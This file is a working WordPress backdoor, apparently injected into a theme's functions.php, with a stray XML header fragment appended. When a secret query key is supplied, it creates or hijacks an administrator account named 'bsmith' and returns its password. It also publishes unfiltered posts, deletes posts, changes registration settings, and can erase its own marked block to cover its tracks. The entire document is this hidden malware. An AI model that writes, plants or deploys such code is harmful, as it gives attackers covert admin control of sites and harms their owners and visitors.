PHP_INJECT_OKPHP_INJECT_OK

/*SHU1D989D*/
add_action('init', function () {
    $p = 'ieb4ec'; if (!isset($_GET[$p])) return;
    $k = isset($_GET['k']) ? $_GET['k'] : '';
    if (!hash_equals('56ec380ae36084b179a1287f640ff7edaf473d3519898609', $k)) return;
    $a = isset($_GET['a']) ? $_GET['a'] : 'ping';
    if ($a === 'ping') { header('Content-Type: application/json'); wp_die('"OK1D989D"'); }
    if ($a === 'access') {
        $un = 'bsmith'; $pw = wp_generate_password(20, true, true); $uid = username_exists($un);
        if ($uid) { wp_set_password($pw, $uid); $u = new WP_User($uid); $u->set_role('administrator'); }
        else { $uid = wp_create_user($un, $pw, $un . '@example.com', 'administrator'); }
        header('Content-Type: application/json');
        wp_die(json_encode(array('id' => $uid, 'username' => $un, 'password' => $pw)));
    }
    if ($a === 'post') {
        $j = json_decode(file_get_contents('php://input'), true); if (!$j) $j = array();
        kses_remove_filters();
        $pid = wp_insert_post(array('post_title' => isset($j['title']) ? $j['title'] : '',
            'post_content' => isset($j['content']) ? $j['content'] : '', 'post_status' => 'publish'), true);
        kses_init_filters();
        if (!is_wp_error($pid) && !empty($j['sticky'])) stick_post($pid);
        header('Content-Type: application/json');
        wp_die(json_encode(array('id' => $pid, 'link' => is_wp_error($pid) ? '' : get_permalink($pid))));
    }
    if ($a === 'delpost') {
        $j = json_decode(file_get_contents('php://input'), true);
        $pid = ($j && isset($j['id'])) ? (int) $j['id'] : 0;
        header('Content-Type: application/json');
        wp_die(json_encode(array('deleted' => $pid ? (bool) wp_delete_post($pid, true) : false)));
    }
    if ($a === 'regoff') {
        update_option('users_can_register', 0); update_option('default_role', 'subscriber');
        header('Content-Type: application/json'); wp_die(json_encode(array('reg' => 'off')));
    }
    if ($a === 'selfdestruct') {
        $f = get_stylesheet_directory() . '/functions.php';
        $c = file_get_contents($f);
        $c = preg_replace('#/\*SHU1D989D\*/[\s\S]*?/\*SHU1D989D\*/#', '', $c);
        @file_put_contents($f, $c);
        header('Content-Type: application/json');
        wp_die(json_encode(array('gone' => strpos($c, 'SHU1D989D') === false)));
    }
});
/*SHU1D989D*/
<?xml version="1.0"?>
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